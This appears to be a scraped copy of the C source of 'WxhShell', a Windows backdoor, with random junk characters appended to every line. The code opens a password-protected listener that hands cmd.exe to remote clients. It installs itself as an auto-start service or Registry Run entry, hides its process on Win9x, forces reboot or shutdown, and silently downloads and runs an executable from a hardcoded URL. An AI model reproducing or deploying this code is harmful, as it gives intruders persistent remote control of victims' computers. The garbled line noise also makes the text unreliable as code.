    closesocket(wsh); >U!*y4  
    ExitThread(0); WF2-$`x  
    } ULqoCd%bK  
    break; E6MA?Ax&=  
    } #JW+~FU`  
  // 关机 Ud(`V:d  
  case 'd': { svhI3"r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >Aq:K^D/3F  
    if(Boot(SHUTDOWN)) F"jt&9jg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4-z3e,crr  
    else {  kLP0{A  
    closesocket(wsh); \2v"YVWw  
    ExitThread(0); 4=<*Vd`p  
    } <[~,uR7  
    break; q6d~V] 4:  
    } K\?]$dK5  
  // 获取shell 42C<1@>zO  
  case 's': { L"(4R^]  
    CmdShell(wsh); mTDVlw0dh  
    closesocket(wsh); 1Y j~fb(  
    ExitThread(0); S ZU \i*  
    break; g_.^O$}  
  } Ri7((x]H"  
  // 退出 ['qnn|  
  case 'x': { 8{ c!).  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &2.u%[gO[q  
    CloseIt(wsh); @mQ:7-,~  
    break; Dt}rR[yJ  
    } aAt>QxGQW  
  // 离开 :D:DnVZ-[@  
  case 'q': { ro~+j}*   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X@A1#z+s0]  
    closesocket(wsh); oYM3Rgxf9Q  
    WSACleanup(); <yUstz,Xu^  
    exit(1); L@Nu/(pB=  
    break; vIGw6BJI  
        } e /K#>,  
  } RVw9Y*]b  
  } oMH.u^b]fT  
} ?@5W,  
  // 提示信息 30j|D3-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V4w=/e _  
} y(jg#7)  
  } mu]as: ~  
?9+@+q  
  return; G@ \Pi#1  
} &dB-r&4;+  
+a@GHx 4-  
// shell模块句柄 <[ Xw)/#  
int CmdShell(SOCKET sock) ~l[r a  
{ jH;Du2w  
STARTUPINFO si; 1`0#HSO  
ZeroMemory(&si,sizeof(si)); YNdrWBf)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /7c~nBU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _o3e]{  
PROCESS_INFORMATION ProcessInfo; cR7wx 0Aj  
char cmdline[]="cmd"; Ut@RGg+f8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k`KGB  
  return 0; IIFMYl gF  
} Wzq>JNn y  
b&) 5:&MI  
// 自身启动模式 }j5 a[L  
int StartFromService(void) n 1b(\PA  
{ + xv!$gJEj  
typedef struct sUkm|K`#  
{ zk_Eb?mhwV  
  DWORD ExitStatus; ~`8hwR1&z  
  DWORD PebBaseAddress; 1 k8x%5p  
  DWORD AffinityMask; NR%Y+8^M  
  DWORD BasePriority; X?r48l??  
  ULONG UniqueProcessId; gwkb!#A  
  ULONG InheritedFromUniqueProcessId; K]oM8H1  
}   PROCESS_BASIC_INFORMATION; ]:]H:U]p  
qeL pXe0c  
PROCNTQSIP NtQueryInformationProcess; `bI)<B  
e9pOisZ;8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z [Xa%~5>5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fN%jJ-[d  
}3 m0AQ;K  
  HANDLE             hProcess; fG LG$b  
  PROCESS_BASIC_INFORMATION pbi;  P\m7 -  
kTIYD o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); & -l8n^  
  if(NULL == hInst ) return 0; *O$CaAr\s  
IakKi4(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7Ey#u4Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D87|q4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K/_9f'^  
eJ8]g49mD6  
  if (!NtQueryInformationProcess) return 0; 7k%T<;V  
sRHA."A!8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z,7R;,qX  
  if(!hProcess) return 0; j=+"Qz/hr_  
'(+<UpG_Q}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -<_$m6x"A  
:\~+#/=:  
  CloseHandle(hProcess); ;Q0bT`/X  
XkmQBV"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NtGn88='{  
if(hProcess==NULL) return 0; 9.O8/0w7LV  
{04"LAE  
HMODULE hMod; QrG`&QN  
char procName[255]; Vn=qV3OE]  
unsigned long cbNeeded; XEM'}+d  
#_  C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )u ?' ;  
X~.f7Ao[  
  CloseHandle(hProcess); R5_i15<  
6 &U+6gb  
if(strstr(procName,"services")) return 1; // 以服务启动 SF ]@|  
zW |=2oX2  
  return 0; // 注册表启动 H&}ipaDO  
} + A_J1iJ<  
xvLn'8H.  
// 主模块 $gle8Z-  
int StartWxhshell(LPSTR lpCmdLine) >cmE t  
{ _A_ A$N~9  
  SOCKET wsl; ~q0*"\Ff  
BOOL val=TRUE; ^,Ydr~|T  
  int port=0; 3*S{;p  
  struct sockaddr_in door; 3B0lb "e  
Eu<1Bse;  
  if(wscfg.ws_autoins) Install(); O  OFVnu  
Z^KA  
port=atoi(lpCmdLine); `:{B(+6  
w>?Un,K  
if(port<=0) port=wscfg.ws_port; 1[nG}  
w]j+9-._  
  WSADATA data; %%%fL;-y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; woH)0v  
']6VB,c`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l?E a#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v *hRz;  
  door.sin_family = AF_INET; X+8B!F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Bb utGvj  
  door.sin_port = htons(port); iGXI6`F"  
G1T^a>tj4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -7>)i  
closesocket(wsl); [(LV  
return 1; =(AtfW^H  
} wz8PtfZ  
~!6K]hB4  
  if(listen(wsl,2) == INVALID_SOCKET) { -PB[-CX  
closesocket(wsl); g{s'GyV8t  
return 1; $e%2t^ i.g  
} Tq<2`*Qs  
  Wxhshell(wsl); !,$i6gm  
  WSACleanup(); zQy"m-Q  
:y]Omp  
return 0; @pV5}N[]  
XP[uF ;w  
} D.!~dyI.,$  
X##1! ad  
// 以NT服务方式启动 yWPIIWHx!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tEd.'D8 s  
{ 5,"l0nrk  
DWORD   status = 0; z:Sigo_z[  
  DWORD   specificError = 0xfffffff; mbl]>JsQD  
xk~IN%\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UAS@R`?cI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %9C@ Xl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \b8sG"G  
  serviceStatus.dwWin32ExitCode     = 0; I&c ~8Dw  
  serviceStatus.dwServiceSpecificExitCode = 0; =iB,["s  
  serviceStatus.dwCheckPoint       = 0; ! {,F~i9  
  serviceStatus.dwWaitHint       = 0; AZ|yX  
A?5E2T1L%.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [t\B6XxT  
  if (hServiceStatusHandle==0) return; }]1BO  
XhzGLYb~I`  
status = GetLastError(); XK(`mEi  
  if (status!=NO_ERROR) eg+!*>GaX  
{ Yx'res4e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jo +w>  
    serviceStatus.dwCheckPoint       = 0; Q\ ^[!|  
    serviceStatus.dwWaitHint       = 0; PQW(EeQ  
    serviceStatus.dwWin32ExitCode     = status; 8{U-m0v  
    serviceStatus.dwServiceSpecificExitCode = specificError; wu<])&F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rx36?/  
    return; stl 1Q O(h  
  } ?eV(1 Fr@  
a\uie$"cr]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8qi+IGRg  
  serviceStatus.dwCheckPoint       = 0; _zxLwU1(x  
  serviceStatus.dwWaitHint       = 0; 8 S`9dSc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5pNY)>]t=  
} 6< J #^ 6  
d<w~jP\  
// 处理NT服务事件,比如:启动、停止 9_ICNG%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :R6bq!  
{ SDG-~(Y  
switch(fdwControl) <BWkUZz\P|  
{ j;yf8Nf  
case SERVICE_CONTROL_STOP: k@>\LR/v  
  serviceStatus.dwWin32ExitCode = 0; -37a.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (LvS :?T}  
  serviceStatus.dwCheckPoint   = 0; /z7VNkD  
  serviceStatus.dwWaitHint     = 0; 7x]4`#u  
  { 31^cz*V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wyx(FinIH  
  } O40+M)e]  
  return; eC DIwB28  
case SERVICE_CONTROL_PAUSE: =M6[URZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zHWSE7!  
  break; K)7zKEp`cj  
case SERVICE_CONTROL_CONTINUE: o 6{\Zzp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z.L?1V8Q1  
  break; yAT^VRbv  
case SERVICE_CONTROL_INTERROGATE: }F6<w{|  
  break; uxn)R#?  
}; QZAB=rR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0oA{Jix  
} JG`Q;K  
@r(Z%j7  
// 标准应用程序主函数 ,:Jus  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  I7+9~5p  
{ i LBvGZ<9  
# m R4fst  
// 获取操作系统版本 qIUfPA=/_  
OsIsNt=GetOsVer(); ->z54 T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8eIUsI.o  
|!|^ v  
  // 从命令行安装 \b V6@#,  
  if(strpbrk(lpCmdLine,"iI")) Install(); qL$a c}`  
&ad I (s~  
  // 下载执行文件 c'6g*%2k  
if(wscfg.ws_downexe) { M6 9 w-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v dbO(  
  WinExec(wscfg.ws_filenam,SW_HIDE); c:S] R"  
} l:;PXy6)  
e<7.y#L  
if(!OsIsNt) { A,-6|&F  
// 如果时win9x,隐藏进程并且设置为注册表启动 VLsxdwHgb  
HideProc(); VpfUm?Nq  
StartWxhshell(lpCmdLine); _8fr6tO+  
} e:E0"<  
else 5wB =>  
  if(StartFromService()) #?MY&hdU9  
  // 以服务方式启动 v$~QCtc  
  StartServiceCtrlDispatcher(DispatchTable); t- u VZ!`\  
else X)SDG#&+bF  
  // 普通方式启动 *b *G2f^  
  StartWxhshell(lpCmdLine); =@Dwlze  
I&?Qq k  
return 0; k 4/D8(OXw  
} -m'j]1  
g,`A[z2  
2Y}?P+:%>  
~AY N  
=========================================== waX>0e  
EcIE~qs  
)}Q(Tl\$  
ERwHLA  
bQe^Px5 !.  
g71[6<D  
" hPq%L c  
s?8<50s  
#include <stdio.h> G 6VF>2  
#include <string.h> {NpM.;  
#include <windows.h> tH=P6vY  
#include <winsock2.h> a{!QOX%K  
#include <winsvc.h> f)]%.>  
#include <urlmon.h> l1ZY1#%j  
%1pYE Hn  
#pragma comment (lib, "Ws2_32.lib") 86@c't@  
#pragma comment (lib, "urlmon.lib") 4'W'}o|{  
Z\[N!Zt|  
#define MAX_USER   100 // 最大客户端连接数 q'pK,uNW  
#define BUF_SOCK   200 // sock buffer ld$i+6|   
#define KEY_BUFF   255 // 输入 buffer 1+b{}d  
,mRyQS'F  
#define REBOOT     0   // 重启 [m^+,%m5]  
#define SHUTDOWN   1   // 关机 /iG*)6*^k  
yH][(o=2  
#define DEF_PORT   5000 // 监听端口 V"cKJ;s  
&d7Z6P'`G  
#define REG_LEN     16   // 注册表键长度 H>r!i 4l  
#define SVC_LEN     80   // NT服务名长度 zy*/T>{#  
l & Dxg  
// 从dll定义API E .1J2Ne  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MX>[^}n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #plY\0E@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JNcYJ[wqv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? ` SUQm  
Ym;*Y !~[  
// wxhshell配置信息 E2)h ?cs  
struct WSCFG { Spt ? >sm  
  int ws_port;         // 监听端口 [qsEUc+Z.'  
  char ws_passstr[REG_LEN]; // 口令 Z{'i F   
  int ws_autoins;       // 安装标记, 1=yes 0=no +{sqcr1G  
  char ws_regname[REG_LEN]; // 注册表键名 mN8pg4  
  char ws_svcname[REG_LEN]; // 服务名 R$zH]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HR}bbsqxVf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iR"N13  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V|\7')Qq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yDNOtC|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^*fQX1h<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !?Wp+e6  
vv26I  
};  }-~l!  
EJ2yO@5O  
// default Wxhshell configuration q+,Q<2J  
struct WSCFG wscfg={DEF_PORT, ! VjFW5'{  
    "xuhuanlingzhe", arf8xqR-U]  
    1, W456!OHa  
    "Wxhshell", b86}% FM  
    "Wxhshell", y(K" -?  
            "WxhShell Service", O$4yAaD X  
    "Wrsky Windows CmdShell Service", w3$   
    "Please Input Your Password: ", nT2)E&U6%  
  1, .bio7c6  
  "http://www.wrsky.com/wxhshell.exe", s=CK~+,/  
  "Wxhshell.exe" 6-O_\Cq8  
    }; X1~1&:V,<  
/Z7iLq~t"G  
// 消息定义模块 ,a#EW+" Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >t7x>_~   
char *msg_ws_prompt="\n\r? for help\n\r#>"; AlJ} >u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  O#I1V K  
char *msg_ws_ext="\n\rExit."; <_Q1k>  
char *msg_ws_end="\n\rQuit."; B5$kHM%p  
char *msg_ws_boot="\n\rReboot..."; }l=xiAF  
char *msg_ws_poff="\n\rShutdown..."; zP<pEI  
char *msg_ws_down="\n\rSave to "; J`2"KzR0w"  
[n}T|<  
char *msg_ws_err="\n\rErr!"; &\_iOw8  
char *msg_ws_ok="\n\rOK!"; }u1O#L}F5  
2it?$8#i  
char ExeFile[MAX_PATH]; /t(C>$ }p  
int nUser = 0; }}<z/zN&^  
HANDLE handles[MAX_USER]; l} qE 46EL  
int OsIsNt; Sf8{h|71  
jRatm.N  
SERVICE_STATUS       serviceStatus; YID4w7|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yDGVrc'  
0x!2ihf  
// 函数声明 ~ar=PmYV7  
int Install(void); N;[>,0&z  
int Uninstall(void); aCL!]4K84$  
int DownloadFile(char *sURL, SOCKET wsh); Gw1@KKg  
int Boot(int flag); ,GgAsj: K  
void HideProc(void); 7hcNf,  
int GetOsVer(void); R=KQ  
int Wxhshell(SOCKET wsl); GQ-Rtn4v  
void TalkWithClient(void *cs); Km^&<3ch#  
int CmdShell(SOCKET sock); n..g~ $k  
int StartFromService(void); !*OJ.W&  
int StartWxhshell(LPSTR lpCmdLine); QNl'ZB \  
QeK*j/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B2O}1.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~^cMys |'  
95V@X ^Ee  
// 数据结构和表定义 &>Vfa  
SERVICE_TABLE_ENTRY DispatchTable[] = c}0@2Vf  
{ +k>.Q0n%m  
{wscfg.ws_svcname, NTServiceMain}, c?@T1h4  
{NULL, NULL} fS`$'BQ  
}; +U3m#Y)k  
RZCq{|L  
// 自我安装 H8On<C=  
int Install(void) x_dy~(*  
{ 9cj9SB4  
  char svExeFile[MAX_PATH]; >_LDMs[-p  
  HKEY key; ~appY Av  
  strcpy(svExeFile,ExeFile); lMbAs.!  
WH \)) y-  
// 如果是win9x系统,修改注册表设为自启动 J:\|Nc?  
if(!OsIsNt) { 0xXC^jx:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @W9x$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {qa Aq%'  
  RegCloseKey(key); x UD-iSY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w/K_B:s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5O6hxcMjT  
  RegCloseKey(key); 9\DQ>V TQ  
  return 0; P->y_4O  
    } Jtk|w[4L  
  } 6efnxxY}sa  
} QD>"]ap,o  
else { KkE9KwZ]W  
PxS8 n?y  
// 如果是NT以上系统,安装为系统服务 xcf%KXJf6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g'm+/pU)w)  
if (schSCManager!=0) i?F >+  
{ n= u&uqA*  
  SC_HANDLE schService = CreateService ?28N ^  
  ( JQ@E>o7_  
  schSCManager, Sh8"F@P8  
  wscfg.ws_svcname, ]h5Yg/sms  
  wscfg.ws_svcdisp,  pn5Q5xc  
  SERVICE_ALL_ACCESS, 3z&Fi;<+j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5qP:/*+  
  SERVICE_AUTO_START, F;<xnC{[  
  SERVICE_ERROR_NORMAL, M L>[^F  
  svExeFile, HI11Jl}{  
  NULL, t>$kWd{9e;  
  NULL, ]f({`&K5  
  NULL, XnWr5-;  
  NULL, vsl]92xI  
  NULL hs$GN]  
  ); S :<Nc{C  
  if (schService!=0) ptZ <ow&  
  { uD @#  
  CloseServiceHandle(schService); E }nH1  
  CloseServiceHandle(schSCManager); d*%`!G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PU1Qsb5  
  strcat(svExeFile,wscfg.ws_svcname); FK5 <6n,U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 20nP/ e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  VN\W]jT  
  RegCloseKey(key); suzZdkMA  
  return 0; ZGKu>yM  
    } = < oBgD0k  
  } 8Hn|cf0  
  CloseServiceHandle(schSCManager); ]33>m|?@  
} $NZ-{dY{  
} Qh'ATo  
@8pp EFw  
return 1; ikv Wh<=>H  
} m4l& eEp  
K#=*9S  
// 自我卸载 SX# e:_  
int Uninstall(void) 9#MBaO8_"  
{ NP/Gn6fr  
  HKEY key; yU-e3O7L  
P n>Xbe  
if(!OsIsNt) { G'ei/Me6{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \(^nSy&N  
  RegDeleteValue(key,wscfg.ws_regname); m0;CH/D0  
  RegCloseKey(key); AN/;)wc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9vGu0Um  
  RegDeleteValue(key,wscfg.ws_regname); #x 177I\  
  RegCloseKey(key); F|e1"PkeoA  
  return 0; :<bB?N(  
  } {_ i\f ]L  
} \1fN0e  
} lrIS{MJ+-  
else { Hn%xDJ'  
7G}2,ueI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PE3vQH=t~  
if (schSCManager!=0) 0+kH:dP{  
{ CkoL TY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "J [K 3  
  if (schService!=0) x:7b/ j-  
  { z6jc8Z=O  
  if(DeleteService(schService)!=0) { 1+jAz`nA:T  
  CloseServiceHandle(schService); ~,oMz<iMV  
  CloseServiceHandle(schSCManager); l0PZ`m+;j  
  return 0; FrL]^59a  
  } 6/r)y+H  
  CloseServiceHandle(schService); }NzpiY9  
  } 7b;I+q  
  CloseServiceHandle(schSCManager); +'I+o5*  
} <b`E_  
} ->g*</  
p~BRh  
return 1; w35J.zn  
} D(AXk8Vub  
^Eb.:}!D6  
// 从指定url下载文件 ]yx$(6_U  
int DownloadFile(char *sURL, SOCKET wsh) Sjyoc<Uo  
{ *n 6s.$p)%  
  HRESULT hr; t>urc  
char seps[]= "/"; \n8] M\<  
char *token; <`B,R*H{  
char *file;  D#il*  
char myURL[MAX_PATH]; )FF>IFHG  
char myFILE[MAX_PATH]; B8V>NvE~o  
Crho=RJPR  
strcpy(myURL,sURL); UEM(@zD]  
  token=strtok(myURL,seps); rV R1wsaL  
  while(token!=NULL) k.vBj~xU  
  { zr+zhpp  
    file=token; Gb#Cm]  
  token=strtok(NULL,seps); >VP= MbN  
  }  \N!AXD  
<acUKfpY  
GetCurrentDirectory(MAX_PATH,myFILE); Xm%D><CC8"  
strcat(myFILE, "\\"); E .7  
strcat(myFILE, file); =BSzsH7  
  send(wsh,myFILE,strlen(myFILE),0); 1zm ulj%&  
send(wsh,"...",3,0); ] >LhkA@V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :PIF07$xl  
  if(hr==S_OK) e vrXo"3  
return 0; =j5MFX.-o  
else \O*-#}~\  
return 1; \Xm,OE_v"  
~$:|VHl  
} Ne8Cgp  
-8:&>~4`  
// 系统电源模块 \K@'Z  
int Boot(int flag) ej4W{IN~:  
{ %{AO+u2i  
  HANDLE hToken; e+$p9k~  
  TOKEN_PRIVILEGES tkp; Rn`x7(WA  
xy5lE+E_U  
  if(OsIsNt) { |Y$uqRdV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \m7-rV6r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D7lK30  
    tkp.PrivilegeCount = 1; +Z7th7W/,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p7veQ`yNc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x_| UPF  
if(flag==REBOOT) { NO|KVZ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) //T>G_1  
  return 0; TH; R  
} C8[&S&<_<  
else { IE;~?W"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G;v8$)Zj  
  return 0; LJk@Vy <?  
} |]J>R  
  } 9K5pwC\$%  
  else { 'oF%,4 !Y  
if(flag==REBOOT) { 0Fk5kGD,&K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8TGOx%}i  
  return 0; )~+E[|  
} ]l1\? I  
else {  :rHJ4Tl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &y3OR1_Sm*  
  return 0; CK,7^U  
} J)`-+}7$v  
} $nb[G$  
J6U$qi  
return 1; (@%gS[]  
} K }Vv4x1U  
l}] t~!X=  
// win9x进程隐藏模块 Gu2P\I2zx  
void HideProc(void) w8Sp <6*  
{ 9hOJvQ2U]  
BV>\ McI+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5A sP5  
  if ( hKernel != NULL ) ?q; Fp  
  { <xgTS[k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]cGA~d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y6Lf@}2(i  
    FreeLibrary(hKernel); (&+kl q  
  } G|( ]bvJ?  
p' +  
return; 4*e0 hWp  
} l,,> & F  
K&U7H:  
// 获取操作系统版本 }A:<%N  
int GetOsVer(void) XFh>U7z.  
{ XxaGp95so  
  OSVERSIONINFO winfo; "luR9l,RRE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yH<$k^0r*  
  GetVersionEx(&winfo); =Odv8yhn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PGARXw+  
  return 1; ph#tgLJ  
  else Kmdlf,[3d  
  return 0; 60)iw4<wf  
} ]Bm>-*@0N  
F|HJH"2*&q  
// 客户端句柄模块 _%x4ty  
int Wxhshell(SOCKET wsl) XK5<Tg  
{ iK IOh('G  
  SOCKET wsh; U7DCx=B  
  struct sockaddr_in client; ,~);EC=`  
  DWORD myID; i9D0]3/>  
N*@aDM07  
  while(nUser<MAX_USER) ej O}t:}P  
{ f(eQ+0D  
  int nSize=sizeof(client); snt(IJQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); atW'  
  if(wsh==INVALID_SOCKET) return 1; Hku!bJ  
n3`&zY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gXH[$guf  
if(handles[nUser]==0) %,iIpYx  
  closesocket(wsh); !P$'#5mr  
else o1/lZm{\~n  
  nUser++; kpI{KISQu  
  } > QFHm5Jw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L}yyaM)  
5eA8niq#  
  return 0; 34QfgMyH  
} dk==?  
iHp\o=#  
// 关闭 socket "W#t;;9Wz  
void CloseIt(SOCKET wsh) >l+EJ3W  
{ &VBd~4|p  
closesocket(wsh); Kwhdu<6  
nUser--;  YOAn4]j  
ExitThread(0); ?K@t0a   
} [Lp,Hqi5  
vLO&Lpv  
// 客户端请求句柄 CWO=0_>2  
void TalkWithClient(void *cs)  j4R 4H;  
{ =_[Z W  
w18RA#Zo/  
  SOCKET wsh=(SOCKET)cs; z\/53Sy<  
  char pwd[SVC_LEN]; = zl= SLe  
  char cmd[KEY_BUFF]; L;QY<b  
char chr[1]; ofW+_DKB?l  
int i,j; kHJ96G  
@S 6u9v  
  while (nUser < MAX_USER) { m/`IGT5J  
LihjGkj\g  
if(wscfg.ws_passstr) { t?^9HP1b_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A7P`lJgv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PzY)"]g  
  //ZeroMemory(pwd,KEY_BUFF); 'xFYUU]#T^  
      i=0; jLcHY-P0V  
  while(i<SVC_LEN) { RH~3M0'0  
\Z/k;=Sla  
  // 设置超时 yW.COWL=)  
  fd_set FdRead; e(1k0W4B  
  struct timeval TimeOut; x:t<ZG&Xwg  
  FD_ZERO(&FdRead); :Y)to/h  
  FD_SET(wsh,&FdRead); ' 9J|=z9.  
  TimeOut.tv_sec=8; 4(vyp.f  
  TimeOut.tv_usec=0; ;T ZGC).6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s%;<O:x8o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ad!(z[F'Y  
P ,K\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %d: A`7x  
  pwd=chr[0]; eSl-9 ^  
  if(chr[0]==0xd || chr[0]==0xa) { i=v]:TOu  
  pwd=0; U '[?9/T  
  break; jiIST^Zq#t  
  } m%QqmTH  
  i++; #B\=Aa`*  
    } ]Qi,j#X  
wVi%oSfM  
  // 如果是非法用户,关闭 socket FQf #*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U |F>W~%  
} ui'F'"tPz  
|0{ i9 .=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M@?"t_e1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NcL =z o<  
LCQkgRs}~{  
while(1) { F>:%Cyo0!  
J(d2:V{h  
  ZeroMemory(cmd,KEY_BUFF); Sb^ b)q"  
2ALj}  
      // 自动支持客户端 telnet标准   [Hcaw   
  j=0; '7nJb6V,0l  
  while(j<KEY_BUFF) { Sa] mm/ G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) YSh D  
  cmd[j]=chr[0]; X9'xn 0n;  
  if(chr[0]==0xa || chr[0]==0xd) { R @r{  
  cmd[j]=0; xQz#i-v  
  break; f]}}yBte`  
  } I=YCQ VvA  
  j++; ;]h.m)~|  
    } `=!p$hg($  
|t\KsW  
  // 下载文件 Qp&?L"U)2  
  if(strstr(cmd,"http://")) { w67x l  
